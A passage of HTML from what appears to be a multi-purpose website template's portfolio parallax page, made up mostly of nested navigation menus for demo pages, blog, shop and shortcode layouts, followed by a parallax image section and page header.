<li class="dropdown">
<a class="dropdown-toggle" href="#">
CLIENTS
</a>
<ul class="dropdown-menu">
<li><a href="page-clients-1.html">CLIENTS 1 - SIDEBAR RIGHT</a></li>
<li><a href="page-clients-2.html">CLIENTS 1 - SIDEBAR LEFT</a></li>
<li><a href="page-clients-3.html">CLIENTS 1 - FULLWIDTH</a></li>
<li class="divider"></li>
<li><a href="page-clients-4.html">CLIENTS 2 - SIDEBAR RIGHT</a></li>
<li><a href="page-clients-5.html">CLIENTS 2 - SIDEBAR LEFT</a></li>
<li><a href="page-clients-6.html">CLIENTS 2 - FULLWIDTH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
SEARCH RESULT
</a>
<ul class="dropdown-menu">
<li><a href="page-search-result-1.html">LAYOUT 1 - LEFT SIDEBAR</a></li>
<li><a href="page-search-result-2.html">LAYOUT 1 - RIGHT SIDEBAR</a></li>
<li><a href="page-search-result-3.html">LAYOUT 1 - FULLWIDTH</a></li>
<li class="divider"></li>
<li><a href="page-search-result-4.html">LAYOUT 2 - LEFT SIDEBAR</a></li>
<li><a href="page-search-result-5.html">LAYOUT 2 - RIGHT SIDEBAR</a></li>
<li class="divider"></li>
<li><a href="page-search-result-6.html">LAYOUT 3 - TABLE SEARCH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
PROFILE
</a>
<ul class="dropdown-menu">
<li><a href="page-profile.html">USER PROFILE</a></li>
<li><a href="page-profile-projects.html">USER PROJECTS</a></li>
<li><a href="page-profile-comments.html">USER COMMENTS</a></li>
<li><a href="page-profile-history.html">USER HISTORY</a></li>
<li><a href="page-profile-settings.html">USER SETTINGS</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
MAINTENANCE
</a>
<ul class="dropdown-menu">
<li><a href="page-maintenance-1.html">MAINTENANCE - LAYOUT 1</a></li>
<li><a href="page-maintenance-2.html">MAINTENANCE - LAYOUT 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
COMING SOON
</a>
<ul class="dropdown-menu">
<li><a href="page-coming-soon-1.html">COMING SOON - LAYOUT 1</a></li>
<li><a href="page-coming-soon-2.html">COMING SOON - LAYOUT 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
FORUM
</a>
<ul class="dropdown-menu">
<li><a href="page-forum-home.html">FORUM - HOME</a></li>
<li><a href="page-forum-topic.html">FORUM - TOPIC</a></li>
<li><a href="page-forum-post.html">FORUM - POST</a></li>
</ul>
</li>
<li><a href="page-careers.html">CAREERS</a></li>
<li><a href="page-sitemap.html">SITEMAP</a></li>
<li><a href="page-blank.html">BLANK PAGE</a></li>
</ul>
</li>
<li class="dropdown"><!-- FEATURES -->
<a class="dropdown-toggle" href="#">
FEATURES
</a>
<ul class="dropdown-menu">
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-browser"></i> SLIDERS
</a>
<ul class="dropdown-menu">
<li>
<a class="dropdown-toggle" href="#">REVOLUTION SLIDER 4.x</a>
<ul class="dropdown-menu">
<li><a href="feature-slider-revolution-fullscreen.html">FULLSCREEN</a></li>
<li><a href="feature-slider-revolution-fullwidth.html">FULL WIDTH</a></li>
<li><a href="feature-slider-revolution-fixedwidth.html">FIXED WIDTH</a></li>
<li><a href="feature-slider-revolution-kenburns.html">KENBURNS EFFECT</a></li>
<li><a href="feature-slider-revolution-videobg.html">HTML5 VIDEO</a></li>
<li><a href="feature-slider-revolution-captions.html">CAPTIONS</a></li>
<li><a href="feature-slider-revolution-smthumb.html">THUMB SMALL</a></li>
<li><a href="feature-slider-revolution-lgthumb.html">THUMB LARGE</a></li>
<li class="divider"></li>
<li><a href="feature-slider-revolution-prev1.html">NAV PREVIEW 1</a></li>
<li><a href="feature-slider-revolution-prev2.html">NAV PREVIEW 2</a></li>
<li><a href="feature-slider-revolution-prev3.html">NAV PREVIEW 3</a></li>
<li><a href="feature-slider-revolution-prev4.html">NAV PREVIEW 4</a></li>
<li><a href="feature-slider-revolution-prev0.html">NAV THEME DEFAULT</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">LAYER SLIDER</a>
<ul class="dropdown-menu">
<li><a href="feature-slider-layer-fullwidth.html">FULLWIDTH</a></li>
<li><a href="feature-slider-layer-fixed.html">FIXED WIDTH</a></li>
<li><a href="feature-slider-layer-captions.html">CAPTIONS</a></li>
<li><a href="feature-slider-layer-carousel.html">CAROUSEL</a></li>
<li><a href="feature-slider-layer-2d3d.html">2D & 3D TRANSITIONS</a></li>
<li><a href="feature-slider-layer-thumb.html">THUMB NAV</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">FLEX SLIDER</a>
<ul class="dropdown-menu">
<li><a href="feature-slider-flexslider-fullwidth.html">FULL WIDTH</a></li>
<li><a href="feature-slider-flexslider-content.html">CONTENT</a></li>
<li><a href="feature-slider-flexslider-thumbs.html">WITH THUMBS</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">OWL SLIDER</a>
<ul class="dropdown-menu">
<li><a href="feature-slider-owl-fullwidth.html">FULL WIDTH</a></li>
<li><a href="feature-slider-owl-fixed.html">FIXED WIDTH</a></li>
<li><a href="feature-slider-owl-fixed+progress.html">FIXED + PROGRESS</a></li>
<li><a href="feature-slider-owl-carousel.html">BASIC CAROUSEL</a></li>
<li><a href="feature-slider-owl-fade.html">EFFECT - FADE</a></li>
<li><a href="feature-slider-owl-backslide.html">EFFECT - BACKSLIDE</a></li>
<li><a href="feature-slider-owl-godown.html">EFFECT - GODOWN</a></li>
<li><a href="feature-slider-owl-fadeup.html">EFFECT - FADE UP</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">SWIPE SLIDER</a>
<ul class="dropdown-menu">
<li><a href="feature-slider-swipe-full.html">FULLSCREEN</a></li>
<li><a href="feature-slider-swipe-fixed-height.html">FIXED HEIGHT</a></li>
<li><a href="feature-slider-swipe-autoplay.html">AUTOPLAY</a></li>
<li><a href="feature-slider-swipe-fade.html">FADE TRANSITION</a></li>
<li><a href="feature-slider-swipe-slide.html">SLIDE TRANSITION</a></li>
<li><a href="feature-slider-swipe-coverflow.html">COVERFLOW TRANSITION</a></li>
<li><a href="feature-slider-swipe-html5-video.html">HTML5 VIDEO</a></li>
<li><a href="feature-slider-swipe-3columns.html">3 COLUMNS</a></li>
<li><a href="feature-slider-swipe-4columns.html">4 COLUMNS</a></li>
</ul>
</li>
<li><a href="feature-slider-nivo.html">NIVO SLIDER</a></li>
<li><a href="feature-slider-camera.html">CAMERA SLIDER</a></li>
<li><a href="feature-slider-elastic.html">ELASTIC SLIDER</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-hotairballoon"></i> HEADERS
</a>
<ul class="dropdown-menu">
<li><a href="feature-header-light.html">HEADER - LIGHT</a></li>
<li><a href="feature-header-dark.html">HEADER - DARK</a></li>
<li>
<a class="dropdown-toggle" href="#">HEADER - HEIGHT</a>
<ul class="dropdown-menu">
<li><a href="feature-header-large.html">LARGE (96px)</a></li>
<li><a href="feature-header-medium.html">MEDIUM (70px)</a></li>
<li><a href="feature-header-small.html">SMALL (60px)</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">HEADER - SHADOW</a>
<ul class="dropdown-menu">
<li><a href="feature-header-shadow-after-1.html">SHADOW 1 - AFTER</a></li>
<li><a href="feature-header-shadow-before-1.html">SHADOW 1 - BEFORE</a></li>
<li class="divider"></li>
<li><a href="feature-header-shadow-after-2.html">SHADOW 2 - AFTER</a></li>
<li><a href="feature-header-shadow-before-2.html">SHADOW 2 - BEFORE</a></li>
<li class="divider"></li>
<li><a href="feature-header-shadow-after-3.html">SHADOW 3 - AFTER</a></li>
<li><a href="feature-header-shadow-before-3.html">SHADOW 3 - BEFORE</a></li>
<li class="divider"></li>
<li><a href="feature-header-shadow-dark-1.html">SHADOW - DARK PAGE EXAMPLE</a></li>
</ul>
</li>
<li><a href="feature-header-transparent.html">HEADER - TRANSPARENT</a></li>
<li><a href="feature-header-transparent-line.html">HEADER - TRANSP+LINE</a></li>
<li><a href="feature-header-translucent.html">HEADER - TRANSLUCENT</a></li>
<li>
<a class="dropdown-toggle" href="#">HEADER - BOTTOM</a>
<ul class="dropdown-menu">
<li><a href="feature-header-bottom-light.html">BOTTOM LIGHT</a></li>
<li><a href="feature-header-bottom-dark.html">BOTTOM DARK</a></li>
<li><a href="feature-header-bottom-transp.html">BOTTOM TRANSPARENT</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">HEADER - LEFT SIDE</a>
<ul class="dropdown-menu">
<li><a href="feature-header-side-left-1.html">FIXED</a></li>
<li><a href="feature-header-side-left-2.html">OPEN ON CLICK</a></li>
<li><a href="feature-header-side-left-3.html">DARK</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">HEADER - RIGHT SIDE</a>
<ul class="dropdown-menu">
<li><a href="feature-header-side-right-1.html">FIXED</a></li>
<li><a href="feature-header-side-right-2.html">OPEN ON CLICK</a></li>
<li><a href="feature-header-side-right-3.html">DARK</a></li>
</ul>
</li>
<li>
<a class="dropdown-toggle" href="#">HEADER - STATIC</a>
<ul class="dropdown-menu">
<li><a href="feature-header-static-top-light.html">STATIC TOP - LIGHT</a></li>
<li><a href="feature-header-static-top-dark.html">STATIC TOP - DARK</a></li>
<li class="divider"></li>
<li><a href="feature-header-static-bottom-light.html">STATIC BOTTOM - LIGHT</a></li>
<li><a href="feature-header-static-bottom-dark.html">STATIC BOTTOM - DARK</a></li>
</ul>
</li>
<li><a href="feature-header-nosticky.html">HEADER - NO STICKY</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-anchor"></i> FOOTERS
</a>
<ul class="dropdown-menu">
<li><a href="feature-footer-1.html#footer">FOOTER - LAYOUT 1</a></li>
<li><a href="feature-footer-2.html#footer">FOOTER - LAYOUT 2</a></li>
<li><a href="feature-footer-3.html#footer">FOOTER - LAYOUT 3</a></li>
<li><a href="feature-footer-4.html#footer">FOOTER - LAYOUT 4</a></li>
<li><a href="feature-footer-5.html#footer">FOOTER - LAYOUT 5</a></li>
<li><a href="feature-footer-6.html#footer">FOOTER - LAYOUT 6</a></li>
<li><a href="feature-footer-7.html#footer">FOOTER - LAYOUT 7</a></li>
<li><a href="feature-footer-8.html#footer">FOOTER - LAYOUT 8 (light)</a></li>
<li><a href="feature-footer-0.html#footer">FOOTER - STICKY</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-circle-compass"></i> MENU STYLES
</a>
<ul class="dropdown-menu">
<li><a href="feature-menu-0.html">MENU - OVERLAY</a></li>
<li><a href="feature-menu-1.html">MENU - STYLE 1</a></li>
<li><a href="feature-menu-2.html">MENU - STYLE 2</a></li>
<li><a href="feature-menu-3.html">MENU - STYLE 3</a></li>
<li><a href="feature-menu-4.html">MENU - STYLE 4</a></li>
<li><a href="feature-menu-5.html">MENU - STYLE 5</a></li>
<li><a href="feature-menu-6.html">MENU - STYLE 6</a></li>
<li><a href="feature-menu-7.html">MENU - STYLE 7</a></li>
<li><a href="feature-menu-8.html">MENU - STYLE 8</a></li>
<li><a href="feature-menu-9.html">MENU - STYLE 9</a></li>
<li><a href="feature-menu-10.html">MENU - STYLE 10</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-genius"></i> MENU DROPDOWN
</a>
<ul class="dropdown-menu">
<li><a href="feature-menu-dd-light.html">DROPDOWN - LIGHT</a></li>
<li><a href="feature-menu-dd-dark.html">DROPDOWN - DARK</a></li>
<li><a href="feature-menu-dd-color.html">DROPDOWN - COLOR</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-beaker"></i> PAGE TITLES
</a>
<ul class="dropdown-menu">
<li><a href="feature-title-left.html">ALIGN LEFT</a></li>
<li><a href="feature-title-right.html">ALIGN RIGHT</a></li>
<li><a href="feature-title-center.html">ALIGN CENTER</a></li>
<li><a href="feature-title-light.html">LIGHT</a></li>
<li><a href="feature-title-dark.html">DARK</a></li>
<li><a href="feature-title-tabs.html">WITH TABS</a></li>
<li><a href="feature-title-breadcrumbs.html">BREADCRUMBS ONLY</a></li>
<li>
<a class="dropdown-toggle" href="#">PARALLAX</a>
<ul class="dropdown-menu">
<li><a href="feature-title-parallax-small.html">PARALLAX SMALL</a></li>
<li><a href="feature-title-parallax-medium.html">PARALLAX MEDIUM</a></li>
<li><a href="feature-title-parallax-large.html">PARALLAX LARGE</a></li>
<li><a href="feature-title-parallax-2xlarge.html">PARALLAX 2x LARGE</a></li>
<li><a href="feature-title-parallax-transp.html">TRANSPARENT HEADER</a></li>
<li><a href="feature-title-parallax-transp-large.html">TRANSPARENT HEADER - LARGE</a></li>
</ul>
</li>
<li><a href="feature-title-short-height.html">SHORT HEIGHT</a></li>
<li><a href="feature-title-rotative-text.html">ROTATIVE TEXT</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-layers"></i> PAGE SUBMENU
</a>
<ul class="dropdown-menu">
<li><a href="feature-page-submenu-light.html">PAGE SUBMENU - LIGHT</a></li>
<li><a href="feature-page-submenu-dark.html">PAGE SUBMENU - DARK</a></li>
<li><a href="feature-page-submenu-color.html">PAGE SUBMENU - COLOR</a></li>
<li><a href="feature-page-submenu-transparent.html">PAGE SUBMENU - TRANSPARENT</a></li>
<li><a href="feature-page-submenu-below-title.html">PAGE SUBMENU - BELOW PAGE TITLE</a></li>
<li><a href="feature-page-submenu-scrollto.html">PAGE SUBMENU - SCROLLTO</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-trophy"></i> ICONS
</a>
<ul class="dropdown-menu">
<li><a href="feature-icons-fontawesome.html">FONTAWESOME</a></li>
<li><a href="feature-icons-glyphicons.html">GLYPHICONS</a></li>
<li><a href="feature-icons-etline.html">ET LINE</a></li>
<li><a href="feature-icons-flags.html">FLAGS</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-flag"></i> BACKGROUNDS
</a>
<ul class="dropdown-menu">
<li><a href="feature-content-bg-grey.html">CONTENT - SIMPLE GREY</a></li>
<li><a href="feature-content-bg-ggrey.html">CONTENT - GRAIN GREY</a></li>
<li><a href="feature-content-bg-gblue.html">CONTENT - GRAIN BLUE</a></li>
<li><a href="feature-content-bg-ggreen.html">CONTENT - GRAIN GREEN</a></li>
<li><a href="feature-content-bg-gorange.html">CONTENT - GRAIN ORANGE</a></li>
<li><a href="feature-content-bg-gyellow.html">CONTENT - GRAIN YELLOW</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-magnifying-glass"></i> SEARCH LAYOUTS
</a>
<ul class="dropdown-menu">
<li><a href="feature-search-default.html">SEARCH - DEFAULT</a></li>
<li><a href="feature-search-fullscreen-light.html">SEARCH - FULLSCREEN LIGHT</a></li>
<li><a href="feature-search-fullscreen-dark.html">SEARCH - FULLSCREEN DARK</a></li>
<li><a href="feature-search-header-light.html">SEARCH - HEADER LIGHT</a></li>
<li><a href="feature-search-header-dark.html">SEARCH - HEADER DARK</a></li>
</ul>
</li>
<li><a href="shortcode-animations.html"><i class="et-expand"></i> ANIMATIONS</a></li>
<li><a href="feature-grid.html"><i class="et-grid"></i> GRID</a></li>
<li><a href="feature-essentials.html"><i class="et-heart"></i> ESSENTIALS</a></li>
<li><a href="page-changelog.html"><i class="et-alarmclock"></i> CHANGELOG</a></li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
<i class="et-newspaper"></i> SIDE PANEL
</a>
<ul class="dropdown-menu">
<li><a href="feature-sidepanel-dark-right.html">SIDE PANEL - DARK - RIGHT</a></li>
<li><a href="feature-sidepanel-dark-left.html">SIDE PANEL - DARK - LEFT</a></li>
<li class="divider"></li>
<li><a href="feature-sidepanel-light-right.html">SIDE PANEL - LIGHT - RIGHT</a></li>
<li><a href="feature-sidepanel-light-left.html">SIDE PANEL - LIGHT - LEFT</a></li>
<li class="divider"></li>
<li><a href="feature-sidepanel-color-right.html">SIDE PANEL - COLOR - RIGHT</a></li>
<li><a href="feature-sidepanel-color-left.html">SIDE PANEL - COLOR - LEFT</a></li>
</ul>
</li>
<li><a target="_blank" href="../Admin/HTML/"><span class="label label-success pull-right">BONUS</span><i class="et-gears"></i> ADMIN PANEL</a></li>
</ul>
</li>
<li class="dropdown mega-menu active"><!-- PORTFOLIO -->
<a class="dropdown-toggle" href="#">
PORTFOLIO
</a>
<ul class="dropdown-menu">
<li>
<div class="row">
<div class="col-md-5th">
<ul class="list-unstyled">
<li><span>GRID</span></li>
<li><a href="portfolio-grid-1-columns.html">1 COLUMN</a></li>
<li><a href="portfolio-grid-2-columns.html">2 COLUMNS</a></li>
<li><a href="portfolio-grid-3-columns.html">3 COLUMNS</a></li>
<li><a href="portfolio-grid-4-columns.html">4 COLUMNS</a></li>
<li><a href="portfolio-grid-5-columns.html">5 COLUMNS</a></li>
<li><a href="portfolio-grid-6-columns.html">6 COLUMNS</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><span>MASONRY</span></li>
<li><a href="portfolio-masonry-2-columns.html">2 COLUMNS</a></li>
<li><a href="portfolio-masonry-3-columns.html">3 COLUMNS</a></li>
<li><a href="portfolio-masonry-4-columns.html">4 COLUMNS</a></li>
<li><a href="portfolio-masonry-5-columns.html">5 COLUMNS</a></li>
<li><a href="portfolio-masonry-6-columns.html">6 COLUMNS</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><span>SINGLE</span></li>
<li><a href="portfolio-single-extended.html">EXTENDED ITEM</a></li>
<li class="active"><a href="portfolio-single-parallax.html">PARALLAX IMAGE</a></li>
<li><a href="portfolio-single-slider.html">SLIDER GALLERY</a></li>
<li><a href="portfolio-single-html5-video.html">HTML5 VIDEO</a></li>
<li><a href="portfolio-single-masonry-thumbs.html">MASONRY THUMBS</a></li>
<li><a href="portfolio-single-embed-video.html">EMBED VIDEO</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><span>LAYOUT</span></li>
<li><a href="portfolio-layout-default.html">DEFAULT</a></li>
<li><a href="portfolio-layout-aside-left.html">LEFT SIDEBAR</a></li>
<li><a href="portfolio-layout-aside-right.html">RIGHT SIDEBAR</a></li>
<li><a href="portfolio-layout-aside-both.html">BOTH SIDEBAR</a></li>
<li><a href="portfolio-layout-fullwidth.html">FULL WIDTH (100%)</a></li>
<li><a href="portfolio-layout-tabfilter.html">TAB FILTER & PAGINATION</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><span>LOADING</span></li>
<li><a href="portfolio-loading-pagination.html">PAGINATION</a></li>
<li><a href="portfolio-loading-jpagination.html">JQUERY PAGINATION</a></li>
<li><a href="portfolio-loading-infinite-scroll.html">INFINITE SCROLL</a></li>
<li><a href="portfolio-loading-ajax-page.html">AJAX IN PAGE</a></li>
<li><a href="portfolio-loading-ajax-modal.html">AJAX IN MODAL</a></li>
</ul>
</div>
</div>
</li>
</ul>
</li>
<li class="dropdown"><!-- BLOG -->
<a class="dropdown-toggle" href="#">
BLOG
</a>
<ul class="dropdown-menu">
<li class="dropdown">
<a class="dropdown-toggle" href="#">
DEFAULT
</a>
<ul class="dropdown-menu">
<li><a href="blog-default-aside-left.html">LEFT SIDEBAR</a></li>
<li><a href="blog-default-aside-right.html">RIGHT SIDEBAR</a></li>
<li><a href="blog-default-aside-both.html">BOTH SIDEBAR</a></li>
<li><a href="blog-default-fullwidth.html">FULL WIDTH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
GRID
</a>
<ul class="dropdown-menu">
<li><a href="blog-column-2colums.html">2 COLUMNS</a></li>
<li><a href="blog-column-3colums.html">3 COLUMNS</a></li>
<li><a href="blog-column-4colums.html">4 COLUMNS</a></li>
<li class="divider"></li>
<li><a href="blog-column-aside-left.html">LEFT SIDEBAR</a></li>
<li><a href="blog-column-aside-right.html">RIGHT SIDEBAR</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
MASONRY
</a>
<ul class="dropdown-menu">
<li><a href="blog-masonry-2colums.html">2 COLUMNS</a></li>
<li><a href="blog-masonry-3colums.html">3 COLUMNS</a></li>
<li><a href="blog-masonry-4colums.html">4 COLUMNS</a></li>
<li><a href="blog-masonry-fullwidth.html">FULLWIDTH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
TIMELINE
</a>
<ul class="dropdown-menu">
<li><a href="blog-timeline-aside-left.html">LEFT SIDEBAR</a></li>
<li><a href="blog-timeline-aside-right.html">RIGHT SIDEBAR</a></li>
<li><a href="blog-timeline-right-aside-right.html">RIGHT + TIMELINE RIGHT</a></li>
<li><a href="blog-timeline-right-aside-left.html">LEFT + TIMELINE RIGHT</a></li>
<li><a href="blog-timeline-fullwidth-left.html">FULL WIDTH - LEFT</a></li>
<li><a href="blog-timeline-fullwidth-right.html">FULL WIDTH - RIGHT</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
SMALL IMAGE
</a>
<ul class="dropdown-menu">
<li><a href="blog-smallimg-aside-left.html">LEFT SIDEBAR</a></li>
<li><a href="blog-smallimg-aside-right.html">RIGHT SIDEBAR</a></li>
<li><a href="blog-smallimg-aside-both.html">BOTH SIDEBAR</a></li>
<li><a href="blog-smallimg-fullwidth.html">FULL WIDTH</a></li>
<li class="divider"></li>
<li><a href="blog-smallimg-alternate-1.html">ALTERNATE 1</a></li>
<li><a href="blog-smallimg-alternate-2.html">ALTERNATE 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
SINGLE
</a>
<ul class="dropdown-menu">
<li><a href="blog-single-default.html">DEFAULT</a></li>
<li><a href="blog-single-aside-left.html">LEFT SIDEBAR</a></li>
<li><a href="blog-single-aside-right.html">RIGHT SIDEBAR</a></li>
<li><a href="blog-single-fullwidth.html">FULL WIDTH</a></li>
<li><a href="blog-single-small-image-left.html">SMALL IMAGE - LEFT</a></li>
<li><a href="blog-single-small-image-right.html">SMALL IMAGE - RIGHT</a></li>
<li><a href="blog-single-big-image.html">BIG IMAGE</a></li>
<li><a href="blog-single-fullwidth-image.html">FULLWIDTH IMAGE</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
COMMENTS
</a>
<ul class="dropdown-menu">
<li><a href="blog-comments-bordered.html#comments">BORDERED COMMENTS</a></li>
<li><a href="blog-comments-default.html#comments">DEFAULT COMMENTS</a></li>
<li><a href="blog-comments-facebook.html#comments">FACEBOOK COMMENTS</a></li>
<li><a href="blog-comments-disqus.html#comments">DISQUS COMMENTS</a></li>
</ul>
</li>
</ul>
</li>
<li class="dropdown"><!-- SHOP -->
<a class="dropdown-toggle" href="#">
SHOP
</a>
<ul class="dropdown-menu pull-right">
<li class="dropdown">
<a class="dropdown-toggle" href="#">
1 COLUMN
</a>
<ul class="dropdown-menu">
<li><a href="shop-1col-left.html">LEFT SIDEBAR</a></li>
<li><a href="shop-1col-right.html">RIGHT SIDEBAR</a></li>
<li><a href="shop-1col-both.html">BOTH SIDEBAR</a></li>
<li><a href="shop-1col-full.html">FULL WIDTH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
2 COLUMNS
</a>
<ul class="dropdown-menu">
<li><a href="shop-2col-left.html">LEFT SIDEBAR</a></li>
<li><a href="shop-2col-right.html">RIGHT SIDEBAR</a></li>
<li><a href="shop-2col-both.html">BOTH SIDEBAR</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
3 COLUMNS
</a>
<ul class="dropdown-menu">
<li><a href="shop-3col-left.html">LEFT SIDEBAR</a></li>
<li><a href="shop-3col-right.html">RIGHT SIDEBAR</a></li>
<li><a href="shop-3col-full.html">FULL WIDTH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
4 COLUMNS
</a>
<ul class="dropdown-menu">
<li><a href="shop-4col-left.html">LEFT SIDEBAR</a></li>
<li><a href="shop-4col-right.html">RIGHT SIDEBAR</a></li>
<li><a href="shop-4col-full.html">FULL WIDTH</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
SINGLE PRODUCT
</a>
<ul class="dropdown-menu">
<li><a href="shop-single-left.html">LEFT SIDEBAR</a></li>
<li><a href="shop-single-right.html">RIGHT SIDEBAR</a></li>
<li><a href="shop-single-both.html">BOTH SIDEBAR</a></li>
<li><a href="shop-single-full.html">FULL WIDTH</a></li>
</ul>
</li>
<li><a href="shop-compare.html">COMPARE</a></li>
<li><a href="shop-cart.html">CART</a></li>
<li><a href="shop-checkout.html">CHECKOUT</a></li>
<li><a href="shop-checkout-final.html">ORDER PLACED</a></li>
</ul>
</li>
<li class="dropdown mega-menu"><!-- SHORTCODES -->
<a class="dropdown-toggle" href="#">
SHORTCODES
</a>
<ul class="dropdown-menu">
<li>
<div class="row">
<div class="col-md-5th">
<ul class="list-unstyled">
<li><a href="shortcode-animations.html">ANIMATIONS</a></li>
<li><a href="shortcode-buttons.html">BUTTONS</a></li>
<li><a href="shortcode-carousel.html">CAROUSEL</a></li>
<li><a href="shortcode-charts.html">GRAPHS</a></li>
<li><a href="shortcode-clients.html">CLIENTS</a></li>
<li><a href="shortcode-columns.html">GRID & COLUMNS</a></li>
<li><a href="shortcode-counters.html">COUNTERS</a></li>
<li><a href="shortcode-forms.html">FORM ELEMENTS</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><a href="shortcode-dividers.html">DIVIDERS</a></li>
<li><a href="shortcode-icon-boxes.html">BOXES & ICONS</a></li>
<li><a href="shortcode-galleries.html">GALLERIES</a></li>
<li><a href="shortcode-headings.html">HEADING STYLES</a></li>
<li><a href="shortcode-icon-lists.html">ICON LISTS</a></li>
<li><a href="shortcode-labels.html">LABELS & BADGES</a></li>
<li><a href="shortcode-lightbox.html">LIGHTBOX</a></li>
<li><a href="shortcode-forms-editors.html">HTML EDITORS</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><a href="shortcode-list-pannels.html">LIST & PANNELS</a></li>
<li><a href="shortcode-maps.html">MAPS</a></li>
<li><a href="shortcode-media-embeds.html">MEDIA EMBEDS</a></li>
<li><a href="shortcode-modals.html">MODAL / POPOVER / NOTIF</a></li>
<li><a href="shortcode-navigations.html">NAVIGATIONS</a></li>
<li><a href="shortcode-paginations.html">PAGINATIONS</a></li>
<li><a href="shortcode-progress-bar.html">PROGRESS BARS</a></li>
<li><a href="shortcode-widgets.html">WIDGETS</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><a href="shortcode-pricing.html">PRICING BOXES</a></li>
<li><a href="shortcode-process-steps.html">PROCESS STEPS</a></li>
<li><a href="shortcode-callouts.html">CALLOUTS</a></li>
<li><a href="shortcode-info-bars.html">INFO BARS</a></li>
<li><a href="shortcode-blockquotes.html">BLOCKQUOTES</a></li>
<li><a href="shortcode-responsive.html">RESPONSIVE</a></li>
<li><a href="shortcode-sections.html">SECTIONS</a></li>
<li><a href="shortcode-social-icons.html">SOCIAL ICONS</a></li>
</ul>
</div>
<div class="col-md-5th">
<ul class="list-unstyled">
<li><a href="shortcode-alerts.html">ALERTS</a></li>
<li><a href="shortcode-styled-icons.html">STYLED ICONS</a></li>
<li><a href="shortcode-tables.html">TABLES</a></li>
<li><a href="shortcode-tabs.html">TABS</a></li>
<li><a href="shortcode-testimonials.html">TESTIMONIALS</a></li>
<li><a href="shortcode-thumbnails.html">THUMBNAILS</a></li>
<li><a href="shortcode-toggles.html">TOGGLES</a></li>
</ul>
</div>
</div>
</li>
</ul>
</li>
</ul>
</nav>
</div>
</div>
</header>
<!-- /Top Nav -->
</div>
<!--
PARALLAX IMAGE
CLASSES:
.height-300
.height-350
.height-400
.height-450
.height-500
.height-550
.height-600
.height-650
.height-700
.height-750
.height-800
-->
<section class="no-transition height-550 parallax parallax-4" style="background-image:url('assets/images/demo/mockups/1200x800/portfolio-parallax-min.jpg');">
<div class="overlay dark-0"><!-- dark overlay [1 to 9 opacity] --></div>
<!--
OPTIONAL : TEXT
Use together with dark-5 or so , to make more visible the text
-->
<!--
<div class="display-table">
<div class="display-table-cell vertical-align-middle">
<div class="container text-center">
<h1 class="nomargin size-50 weight-300 wow fadeInUp" data-wow-delay="0.4s"><span>Smarty</span> Multi-Purpose Template</h1>
<p class="lead font-lato size-30 wow fadeInUp" data-wow-delay="0.7s">Over <span class="countTo" data-speed="4000">500</span> html files! <span class="theme-color weight-400 font-style-italic">Admin included</span> & RTL</p>
</div>
</div>
</div>
-->
</section>
<!-- /PARALLAX IMAGE -->
<!--
PAGE HEADER
CLASSES:
.page-header-xs = 20px margins
.page-header-md = 50px margins
.page-header-lg = 80px margins
.page-header-xlg= 130px margins
.dark = dark page header
.shadow-before-1 = shadow 1 header top
.shadow-after-1 = shadow 1 header bottom
.shadow-before-2 = shadow 2 header top
.shadow-after-2 = shadow 2 header bottom
.shadow-before-3 = shadow 3 header top
.shadow-after-3 = shadow 3 header bottom
-->
<section class="page-header dark page-header-xs">
<div class="container">
<h1>Parallax Image Name</h1>
<ul class="page-options list-inline">
<li><a href="#" class="glyphicon glyphicon-menu-left"></a></li>
<li><a href="#" class="glyphicon glyphicon-th-large"></a></li>
<li><a href="#" class="glyphicon glyphicon-menu-right"></a></li>
